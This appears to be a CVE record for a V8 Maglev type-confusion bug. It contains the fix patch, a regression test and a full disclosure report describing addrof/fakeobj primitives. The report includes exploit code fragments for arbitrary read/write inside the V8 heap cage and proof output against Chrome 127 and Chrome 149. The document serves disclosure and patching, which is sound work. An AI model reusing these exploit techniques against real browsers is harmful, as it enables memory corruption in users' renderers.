CVE-2026-14431
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
iftest/mjsunit/maglev/regress-523884658.js |
modified |
Files Changed
src/maglev/maglev-graph-builder.cctest/mjsunit/maglev/regress-523884658.js
Patch
From 811ebc89d5d26653f73b9b0e589591e09344e551 Mon Sep 17 00:00:00 2001 From: Victor Gomes <[email protected]> Date: Tue, 16 Jun 2026 14:09:38 +0200 Subject: [PATCH] [maglev] Check map of inlined array in ArrayIteratorPrototypeNext Fixed: 523884658 Change-Id: I2a2bba817952d7023eb4b97ad41d8bb460fb9359 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7950517 Commit-Queue: Leszek Swirski <[email protected]> Reviewed-by: Leszek Swirski <[email protected]> Auto-Submit: Victor Gomes <[email protected]> Cr-Commit-Position: refs/heads/main@{#108053} --- diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc index e8c6c11..5ed6e5e 100644 --- a/src/maglev/maglev-graph-builder.cc +++ b/src/maglev/maglev-graph-builder.cc @@ -8620,6 +8620,8 @@ if (map_inference.has_value()) { RETURN_IF_ABORT(map_inference->InsertMapChecks(zone())); + } else { + RETURN_IF_ABORT(BuildCheckMaps(iterated_object, base::VectorOf(maps))); } // Load the [[NextIndex]] from the {iterator}. diff --git a/test/mjsunit/maglev/regress-523884658.js b/test/mjsunit/maglev/regress-523884658.js new file mode 100644 index 0000000..41d7cd2 --- /dev/null +++ b/test/mjsunit/maglev/regress-523884658.js @@ -0,0 +1,82 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +// Flags: --allow-natives-syntax --maglev + +let transition = false; +let tagged_value; +let double_value; + +function tagged_reflect() { + const a = eval('tagged_inner.arguments'); + if (transition) { + a[1][0] = tagged_value; + a[1][1] = tagged_value; + } else { + a[1][0] = 3.3; + a[1][1] = 3.3; + } +} + +function tagged_next(iterator) { + return iterator.next().value; +} + +function tagged_inner(iterator, array) { + tagged_reflect(); + return tagged_next(iterator); +} + +function tagged_outer() { + const array = [1.1, 2.2]; + const iterator = array.values(); + return tagged_inner(iterator, array); +} + +function double_reflect() { + const a = eval('double_inner.arguments'); + if (transition) { + a[1][0] = double_value; + a[1][1] = double_value; + } else { + a[1][0] = 3; + a[1][1] = 3; + } +} + +function double_next(iterator) { + return iterator.next().value; +} + +function double_inner(iterator, array) { + double_reflect(); + return double_next(iterator); +} + +function double_outer() { + const array = [1, 2]; + const iterator = array.values(); + return double_inner(iterator, array); +} + +const marker = {}; +tagged_value = marker; +double_value = 1.5; + +for (const f of [tagged_reflect, tagged_next, tagged_inner, tagged_outer, + double_reflect, double_next, double_inner, double_outer]) { + %PrepareFunctionForOptimization(f); +} + +tagged_outer(); +tagged_outer(); +double_outer(); +double_outer(); + +%OptimizeMaglevOnNextCall(tagged_outer); +%OptimizeMaglevOnNextCall(double_outer); + +transition = true; +assertSame(marker, tagged_outer()); +assertEquals(1.5, double_outer());
Regression Test / PoC
diff --git a/test/mjsunit/maglev/regress-523884658.js b/test/mjsunit/maglev/regress-523884658.js
new file mode 100644
index 0000000..41d7cd2
--- /dev/null
+++ b/test/mjsunit/maglev/regress-523884658.js
@@ -0,0 +1,82 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --maglev
+
+let transition = false;
+let tagged_value;
+let double_value;
+
+function tagged_reflect() {
+ const a = eval('tagged_inner.arguments');
+ if (transition) {
+ a[1][0] = tagged_value;
+ a[1][1] = tagged_value;
+ } else {
+ a[1][0] = 3.3;
+ a[1][1] = 3.3;
+ }
+}
+
+function tagged_next(iterator) {
+ return iterator.next().value;
+}
+
+function tagged_inner(iterator, array) {
+ tagged_reflect();
+ return tagged_next(iterator);
+}
+
+function tagged_outer() {
+ const array = [1.1, 2.2];
+ const iterator = array.values();
+ return tagged_inner(iterator, array);
+}
+
+function double_reflect() {
+ const a = eval('double_inner.arguments');
+ if (transition) {
+ a[1][0] = double_value;
+ a[1][1] = double_value;
+ } else {
+ a[1][0] = 3;
+ a[1][1] = 3;
+ }
+}
+
+function double_next(iterator) {
+ return iterator.next().value;
+}
+
+function double_inner(iterator, array) {
+ double_reflect();
+ return double_next(iterator);
+}
+
+function double_outer() {
+ const array = [1, 2];
+ const iterator = array.values();
+ return double_inner(iterator, array);
+}
+
+const marker = {};
+tagged_value = marker;
+double_value = 1.5;
+
+for (const f of [tagged_reflect, tagged_next, tagged_inner, tagged_outer,
+ double_reflect, double_next, double_inner, double_outer]) {
+ %PrepareFunctionForOptimization(f);
+}
+
+tagged_outer();
+tagged_outer();
+double_outer();
+double_outer();
+
+%OptimizeMaglevOnNextCall(tagged_outer);
+%OptimizeMaglevOnNextCall(double_outer);
+
+transition = true;
+assertSame(marker, tagged_outer());
+assertEquals(1.5, double_outer());
Original Bug Report
V8 Maglev Stale Virtual-Array Map via Legacy Arguments Frame Materialization
Hello,
We’re contacting you from OpenAI Security Research to notify you of a potential security issue identified during our internal research process.
The issue appears to affect your product. We’ve validated the behavior internally and believe it may pose a risk.
Please see the below report for details.
We are reaching out privately and cooperatively. We are happy to collaborate on patch validation or coordinate timelines. We are not planning to make any public disclosure unless there’s an agreement to do so or we assess that the risk requires it.
Please let us know how you’d prefer to proceed and if you need additional details or support.
Best regards, OpenAI Security Research Team [email protected]
DISCLOSURE REPORT FOLLOWS:
Security Report: Maglev Stale Virtual-Array Map Through Legacy Arguments Frame Materialization Enables Caged Arbitrary Read/Write
Reporter: OpenAI Codex Security
Organization: OpenAI
Component: V8 JavaScript Engine (Maglev optimizer / legacy function accessors)
Affected Area: TryReduceArrayIteratorPrototypeNext, inlined-allocation escape tracking, legacy Function.prototype.arguments frame materialization
Bug Class: Out-of-band alias creation -> stale virtual-object map -> elements-representation confusion -> caged arbitrary read/write
Discovery Method: Source review, optimizer-state analysis, runtime validation
Summary
Maglev’s TryReduceArrayIteratorPrototypeNext specializes array-iterator loads
using the compile-time map of a freshly allocated virtual JSArray. When the
array is represented as an InlinedAllocation, the reducer treats
IsEscaping() == false as proof that the map cannot change. It then chooses a
representation-specific element load without emitting a runtime map check.
That escape decision does not account for aliases created by the legacy
Function.prototype.arguments accessor. A separate no-argument JavaScript
callee can request inner.arguments. V8 walks the active optimized stack,
finds the inlined inner frame, reconstructs its argument list from
deoptimization metadata, and returns an arguments object containing the fresh
array. The callee can change that array’s elements kind even though the array
is not an operand of the call in Maglev’s graph.
Execution then returns to the optimized caller. Maglev still uses the original virtual map and executes the stale representation-specific load. Two inverse transitions provide complementary primitives:
PACKED_DOUBLE_ELEMENTS -> PACKED_ELEMENTS
stale double load reads two compressed tagged pointers -> addrof
PACKED_SMI_ELEMENTS -> PACKED_DOUBLE_ELEMENTS
stale tagged load consumes attacker-controlled double bits -> fakeobj
The supplied exploit combines addrof and fakeobj into a fake packed-double
JSArray. Retargeting its elements pointer provides chosen aligned 64-bit
reads and writes within the V8 pointer-compression cage. The proof reads real
object headers and changes an independently allocated victim array element
from 11.11 to 1337.1337.
No V8 runtime flags, native syntax, exposed corruption API, or experimental feature flags are required. The complete arbitrary-read/write chain was confirmed on current V8 main, the current Chrome Stable V8 revision, and ordinary page JavaScript in both the first affected desktop Chrome Stable and the current Chrome Stable renderer.
Impact
Malicious JavaScript running in the default-configuration V8 engine can obtain arbitrary read/write within the V8 heap sandbox through this Maglev type confusion.
Current-main proof, with the memory-corruption API compiled out and no V8 runtime flags:
$ out/maglev-main-release/d8 exploit-main.js
addrof(carrier) = 0x0123a30d
addrof(victim) = 0x0123a385
fakeobj length = 32
carrier +0x00 = 0x0100d141 0x000007e5
carrier +0x08 = 0x0123a325 0x00000010
victim.elements = 0x0123a39d, victim.length = 0x00000004
readback = 0xe8a71de7 0x4094e488
victim[0] = 1337.1337
DEFAULT_FLAGS_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
First-affected Chrome Stable renderer proof using ordinary page JavaScript:
Google Chrome for Testing 127.0.6533.72
addrof(carrier) = 0x00339505
addrof(victim) = 0x0033957d
fakeobj length = 32
carrier +0x00 = 0x00115199 0x00000725
carrier +0x08 = 0x0033951d 0x00000010
victim.elements = 0x00339595, victim.length = 0x00000004
readback = 0xe8a71de7 0x4094e488
victim[0] = 1337.1337
CHROME127_FULL_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
Chrome Stable renderer proof using ordinary page JavaScript:
Google Chrome for Testing 149.0.7827.115
addrof(carrier) = 0x011ed999
addrof(victim) = 0x011eda11
fakeobj length = 32
carrier +0x00 = 0x010329bd 0x000007e5
carrier +0x08 = 0x011ed9b1 0x00000010
victim.elements = 0x011eda29, victim.length = 0x00000004
readback = 0xe8a71de7 0x4094e488
victim[0] = 1337.1337
CHROME_STABLE_FULL_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
The browser reproductions use official current and archived Chrome for Testing
Stable headless-shell artifacts. --no-sandbox disables Chromium’s outer
process sandbox for operation inside the local container; no --js-flags
value or other V8 flag is supplied. The vulnerability and demonstrated
primitives are inside the renderer’s normally sandboxed V8 heap.
The proof demonstrates arbitrary memory access inside the V8 pointer cage. It does not claim a second, independent escape from the V8 heap sandbox to native process memory.
Root Cause (High Level)
Maglev reasons about the fresh iterated array through two incompatible views:
compiler view:
no graph-visible escaping use -> initial virtual map is stable
runtime view:
a callee reflects an active inlined frame -> obtains the array argument
-> changes its elements kind before iterator.next()
The hidden alias is created by a stack walk, not by passing the array to the callee. Consequently, the Maglev call node has no dataflow edge to the array, and normal escape/use accounting does not invalidate the virtual map.
The inlined-allocation branch then derives elements_kind directly from the
captured virtual map. Only the non-inlined branch creates MapInference, and
only that branch inserts runtime map checks. The optimized load therefore uses
the old backing-store representation after runtime semantics have installed a
new one.
Affected Versions
The vulnerability is present when the following source properties are present:
TryReduceArrayIteratorPrototypeNext specializes an InlinedAllocation.
The reducer treats IsEscaping() == false as map stability.
The inlined-allocation branch reads array->map() directly.
MapInference and InsertMapChecks are used only in the non-inlined branch.
Legacy Function.prototype.arguments walks active optimized/inlined frames.
An arbitrary JavaScript call can occur between allocation and iterator.next().
Exploitability was confirmed on:
V8 main: 3110f734eda952e4795c484fb698d1ec7df51392
V8 version: 15.1.0 (candidate)
First affected Chrome Stable: 127.0.6533.72 (Linux)
First affected embedded V8: 5c5f3d841901cb78a4e130d38d081d03f82f1e36
First affected V8 version: 12.7.224.16
Chrome Stable: 149.0.7827.115
Chrome Stable embedded V8: 16ef80c1f5d3cfade812bd1743952a4cfd480a31
Chrome Stable V8 version: 14.9.207.27
Architecture: x86-64, pointer compression and V8 sandbox enabled
The current-main commit is 138 commits after the initially tested vulnerable
commit 5068658e0b754814453e62dfe5898027ee052506. The vulnerable reducer structure
remains present on both current main and the Chrome Stable V8 revision.
The oldest affected stable V8 line is 12.7. The first desktop release was
Chrome Stable 127.0.6533.72 on Linux and 127.0.6533.72/73 on Windows and macOS
on 2024-07-23. ChromiumDash identifies the Linux build’s embedded V8 revision
as 5c5f3d841901cb78a4e130d38d081d03f82f1e36, version 12.7.224.16. The full
arbitrary-read/write chain passed 20/20 fresh renderer processes using the
official archived Linux headless-shell artifact with no V8 flags.
As a source-history negative control, the final Chrome 126 Stable revision
embeds V8 12.6.228.28 at
556665385d5cdc2a0793b977d373da88091a7208. The introducing commit is not an
ancestor of that revision, and TryReduceArrayIteratorPrototypeNext is absent.
This places the desktop Stable boundary at Chrome 127.
Official release references:
- Chrome 127 Stable Channel Update for Desktop
- V8 release process and ChromiumDash revision lookup
- V8 version-to-Chromium milestone mapping
The vulnerability-introducing commit is:
bc1263ec361c9d364438d66bf5cd311304eaee38
[maglev] Inline ArrayIteratorPrototypeNext
Cr-Commit-Position: refs/heads/main@{#94042}
Commit date: 2024-05-23
That change adds the entire reducer and, in its first version, directly trusts
the captured map of an inlined iterated array. The parent has no
TryReduceArrayIteratorPrototypeNext reducer; the commit adds the optimization
and the unsafe map-stability assumption together.
The source change is available at:
https://chromium.googlesource.com/v8/v8/+/bc1263ec361c9d364438d66bf5cd311304eaee38%5E%21/
Detailed Analysis
Virtual Array Map Is Trusted Without a Runtime Check
On current main, the inlined iterated-object branch checks graph escape state and then consumes the virtual object’s map:
if (iterated_object->Is<InlinedAllocation>()) {
VirtualObject* array = iterated_object->Cast<InlinedAllocation>()->object();
if (IsEscaping(iterated_object->Cast<InlinedAllocation>())) {
FAIL("allocation is escaping, map could have been changed");
}
...
auto map = *array->map();
elements_kind = map.elements_kind();
maps.push_back(map);
} else {
map_inference.emplace(this, iterated_object);
...
}
Runtime checks are conditional on map_inference, which is absent for the
inlined-allocation path:
if (map_inference.has_value()) {
RETURN_IF_ABORT(map_inference->InsertMapChecks(zone()));
}
The Chrome Stable V8 revision has the same control flow at lines 9395-9439:
The first affected Chrome Stable V8 revision contains the original reducer and the same inlined-allocation map trust at lines 6857-6906:
The reducer later passes elements_kind and maps into the specialized element
load. Nothing between the hidden call and that load verifies that the runtime
array still has the captured map.
Legacy .arguments Creates an Out-of-Band Alias
The optimized function calls the reflector without passing the array:
function addrof_inner(iterator, array) {
materializeAddrofArguments();
return addrof_next(iterator);
}
function materializeAddrofArguments() {
const activeArguments = eval('addrof_inner.arguments');
activeArguments[1][0] = addressValue0;
activeArguments[1][1] = addressValue1;
}
The legacy accessor traverses active JavaScript frames, finds the requested function even when it was inlined, and reconstructs its arguments:
DirectHandle<Object> Accessors::GetLegacyFunctionArguments(
Isolate* isolate, DirectHandle<JSFunction> function) {
DirectHandle<Object> result = isolate->factory()->null_value();
if (!function->shared()->native()) {
for (JavaScriptStackFrameIterator it(isolate); !it.done(); it.Advance()) {
JavaScriptFrame* frame = it.frame();
int function_index = FindFunctionInFrame(frame, function);
if (function_index >= 0) {
result = GetFrameArguments(isolate, &it, function_index);
break;
}
}
}
return result;
}
In the Maglev trace, the relevant helper call has an empty argument vector:
CallKnownJSFunction(... materializeAddrofArguments>, {}) [n41,n3,n39,n4]
There is no SSA edge from that call to the iterator or array. After the call, Maglev still classifies the array as a non-escaping inlined allocation and emits a representation-specific load with no intervening map check.
The first affected Stable needs a slightly different but equivalent source shape because its older escape accounting marks an array passed as an explicit inlined-call argument as escaping. The Chrome 127 proof instead allocates the array inside the inlined callee and assigns it to that callee’s parameter:
function inline_local_addrof_inner(slot) {
const array = [1.1, 2.2];
const iterator = array.values();
slot = array;
materializeInlineLocalAddrofArguments();
return inline_local_addrof_next(iterator);
}
function materializeInlineLocalAddrofArguments() {
const activeArguments = eval('inline_local_addrof_inner.arguments');
activeArguments[0][0] = addressValue0;
activeArguments[0][1] = addressValue1;
}
V8’s legacy accessor materializes the current reassigned parameter value. The
array therefore appears in the reconstructed inlined-frame arguments without
ever being an operand of the graph-visible helper call. Chrome 127’s Maglev
trace shows inline_local_addrof_inner inlined into its outer wrapper and
ArrayIteratorPrototypeNext reduced without the “allocation is escaping”
failure produced by the explicit-argument form.
Stale Representation Loads Produce addrof and fakeobj
For addrof, the fresh array begins as packed doubles:
const array = [1.1, 2.2];
The hidden alias stores two heap objects. Runtime semantics transition the
array to PACKED_ELEMENTS, whose backing store contains adjacent 32-bit
compressed tagged pointers. Maglev still performs a 64-bit fixed-double load.
Splitting the loaded bits yields both tagged addresses.
For fakeobj, the fresh array begins as packed Smis:
const array = [1, 2];
The hidden alias stores a crafted double. Runtime semantics transition the
array to PACKED_DOUBLE_ELEMENTS. Maglev still performs a compressed tagged
load and consumes the low 32 bits of the double slot as a tagged pointer. This
returns an object reference selected by the attacker.
The two primitives are independent consequences of the same stale map. The
browser proof additionally verifies fakeobj(addrof(carrier)) === carrier, so
the result is not inferred only from malformed numeric output.
Exploitation Strategy
The default-flags proof allocates an eight-element packed-double carrier and a
separate victim packed-double array. addrof obtains both compressed tagged
addresses. Controlled carrier element data is then interpreted as a fake
JSArray using fakeobj.
The fake array contains four compressed fields encoded in two doubles:
carrier[0] low 32: packed-double JSArray map
carrier[0] high 32: empty FixedArray (properties)
carrier[1] low 32: attacker-selected elements pointer
carrier[1] high 32: Smi(32) length
The packed-double JSArray map is a deterministic, build-specific snapshot constant. It is not leaked from native memory and does not require the V8 memory-corruption API. The exploit derives the carrier and victim addresses at runtime; only the snapshot map value changes between V8 builds.
For the browser proofs, each snapshot value was recovered without a V8 debug
API: a page retained a packed-double array containing four unique 64-bit
sentinel values, GDB searched the renderer heap for that sequence, and the
adjacent FixedDoubleArray and JSArray headers yielded the map. This produced
0x00115199 for Chrome 127 and 0x010329bd for Chrome 149. Each value was then
independently validated by reading the carrier’s real header through the final
arbitrary-read primitive.
Retargeting the fake array’s elements pointer produces the final primitives:
function setReadWriteTarget(taggedObjectAddress, byteOffset) {
const elements = taggedObjectAddress + byteOffset - 8;
carrier[1] = u32sToF64(elements, 0x40);
}
function read64(address, offset) {
setReadWriteTarget(address, offset);
return f64ToU32s(fakeArray[0]);
}
function write64(address, offset, low, high) {
setReadWriteTarget(address, offset);
fakeArray[0] = u32sToF64(low, high);
}
The proof first reads the carrier’s real map, properties, elements, and length.
It then reads the victim’s elements pointer and writes the IEEE-754 bits for
1337.1337 into the victim backing store. A direct readback and ordinary
victim[0] access both confirm the chosen write.
Proof of Concept
The reporting package contains these primary artifacts:
exploit-default.js zero-V8-flag d8 arbitrary read/write proof
exploit-main.js current-main snapshot wrapper
exploit-stable.js exact Chrome Stable V8 snapshot wrapper
chrome-stable-primitives.html Chrome Stable addrof/fakeobj browser proof
chrome-stable-full.html Chrome Stable arbitrary read/write browser proof
chrome127-inline-local-primitives.html
first-affected Stable addrof/fakeobj proof
chrome127-full.html first-affected Stable arbitrary read/write proof
reproduce_default.sh verifies expected d8 output markers
reproduce_stable.sh verifies the exact Stable V8 d8 proof
reproduce_chrome_stable.sh verifies the browser DOM evidence
reproduce_chrome127.sh verifies first-affected Stable DOM evidence
build_default.sh production-style d8 build configuration
Current main was built with:
is_debug=false
dcheck_always_on=false
symbol_level=0
v8_enable_memory_corruption_api=false
The build used all 32 local workers and completed 2,478 steps. The invocation for the proof is simply:
out/maglev-main-release/d8 exploit-main.js
The browser caged-arbitrary-read/write proof can be run with the official matching Stable headless-shell:
chrome-headless-shell \
--no-sandbox \
--disable-gpu \
--disable-dev-shm-usage \
--disable-background-networking \
--dump-dom \
file:///absolute/path/chrome-stable-full.html
Expected DOM text includes:
CHROME_STABLE_FULL_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
The first-affected Stable proof is run with the archived Chrome 127 artifact:
CHROME=/path/to/chrome-127.0.6533.72/chrome-headless-shell \
./reproduce_chrome127.sh
Expected DOM text includes:
CHROME127_FULL_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
No --js-flags argument is used. The page itself uses only ordinary
JavaScript APIs, including the legacy .arguments property.
The original zero-flag d8 exploit passed 50/50 fresh-process runs. The first affected Chrome 127 Stable browser proof passed 20/20 fresh renderer processes, and the current Chrome Stable browser proof passed 10/10. Complete recorded output, the decisive graph trace regions, build configuration, and source snippets are included in the maintainer archive.
Suggested Fix
The immediate issue is that the inlined-allocation path uses a captured virtual map as a runtime invariant without a map check.
The safest targeted fix is to emit explicit runtime map checks for the expected
maps immediately before loading array length/elements in
TryReduceArrayIteratorPrototypeNext, including when iterated_object is an
InlinedAllocation. If the hidden alias has changed the elements kind, the map
check must deoptimize before the representation-specific load.
A ready-to-apply patch is distributed next to this report as:
maglev-array-iterator-legacy-arguments-fix.patch
SHA-256: 769b59a25b8e3861f3c77f34220ce37aafce20727c4452c2f67b2cfdd53ca3f2
The patch changes two files:
src/maglev/maglev-graph-builder.cc
test/mjsunit/maglev/regress-array-iterator-legacy-arguments.js
The reducer already uses MapInference::InsertMapChecks for non-inlined
objects. The patch adds the corresponding validation for its previously
unchecked InlinedAllocation branch:
if (map_inference.has_value()) {
RETURN_IF_ABORT(map_inference->InsertMapChecks(zone()));
} else {
RETURN_IF_ABORT(BuildCheckMaps(iterated_object, base::VectorOf(maps)));
}
This is preferable to disabling the optimization. BuildCheckMaps consults
Maglev’s known-node aspects: when no side effect has occurred, the expected map
is still fresh and the check folds away. When an arbitrary call has made that
fact stale, as in this exploit, it emits a CheckMaps node. A changed elements
kind then deoptimizes before the reducer loads the array length, elements, or
representation-specific value.
Post-patch graph traces show the required ordering for both primitive directions:
CallKnownJSFunction(materialize_tagged_arguments)
Trying to reduce builtin ArrayIteratorPrototypeNext
CheckMaps(PACKED_DOUBLE_ELEMENTS)
Load array length/elements
Call(materialize_double_arguments proxy)
Trying to reduce builtin ArrayIteratorPrototypeNext
CheckMaps(PACKED_SMI_ELEMENTS)
Load array length/elements
A control case with no intervening side effect still reduces
ArrayIteratorPrototypeNext without emitting CheckMaps, confirming that the
normal fresh-allocation fast path remains unchanged.
Conservative alternatives are:
- Refuse this optimization when the iterated object is an
InlinedAllocationand arbitrary JavaScript can run before the load. - Mark materializable inlined-frame arguments as escaping across arbitrary calls.
- Invalidate virtual-object map facts across calls that can trigger legacy active-stack introspection.
- Ensure legacy argument materialization deoptimizes the optimized activation before returning the alias to JavaScript, including already allocated inlined objects.
The explicit map check is the smallest robust mitigation for this reducer. A
systemic hidden-alias fix is still desirable because .arguments and .caller
can expose active-frame values without normal graph-visible dataflow.
The included regression test uses separate no-argument reflectors and safely covers both stale-representation directions:
const marker = {};
tagged_value = marker;
double_value = 1.5;
const tagged_result = tagged_outer();
const double_result = double_outer();
assertSame(marker, tagged_result);
assertEquals(1.5, double_result);
On vulnerable V8, the first result is compressed tagged-pointer bits interpreted
as a double, while the second consumes the low word of 1.5 as Smi 0. The
test never dereferences an attacker-selected invalid pointer. The helper
receives no array or iterator argument, ensuring the test covers the hidden
stack-reflection alias rather than ordinary escape accounting.
Validation performed on V8 main commit
3110f734eda952e4795c484fb698d1ec7df51392:
Before patch: regression exits 1 (expected object, found pointer-bit double)
After patch: focused regression 20/20 passed
After patch: original caged-arbitrary-R/W PoC blocked 10/10 at addrof validation
After patch: 7 adjacent array-iterator tests passed
After patch: complete mjsunit/maglev suite, 621/621 passed
Build: release d8, 32 workers, memory-corruption API disabled
CREDIT INFORMATION
Reporter credit: OpenAI Codex Security (amyb)
- https://chromereleases.googleblog.com/2024/07/stable-channel-update-for-desktop_23.html
- https://chromium.googlesource.com/v8/v8/+/bc1263ec361c9d364438d66bf5cd311304eaee38%5E%21/
- https://chromium.googlesource.com/v8/v8/+/bc1263ec361c9d364438d66bf5cd311304eaee38^!/
- https://github.com/v8/v8/blob/16ef80c1f5d3cfade812bd1743952a4cfd480a31/src/maglev/maglev-graph-builder.cc#L9395-L9439
- https://github.com/v8/v8/blob/3110f734eda952e4795c484fb698d1ec7df51392/src/builtins/accessors.cc#L512-L526
- https://github.com/v8/v8/blob/3110f734eda952e4795c484fb698d1ec7df51392/src/maglev/maglev-graph-builder.cc#L8489-L8506
- https://github.com/v8/v8/blob/3110f734eda952e4795c484fb698d1ec7df51392/src/maglev/maglev-graph-builder.cc#L8532-L8534
- https://github.com/v8/v8/blob/5c5f3d841901cb78a4e130d38d081d03f82f1e36/src/maglev/maglev-graph-builder.cc#L6857-L6906
- https://v8.dev/docs/release-process
- https://v8.dev/docs/version-numbers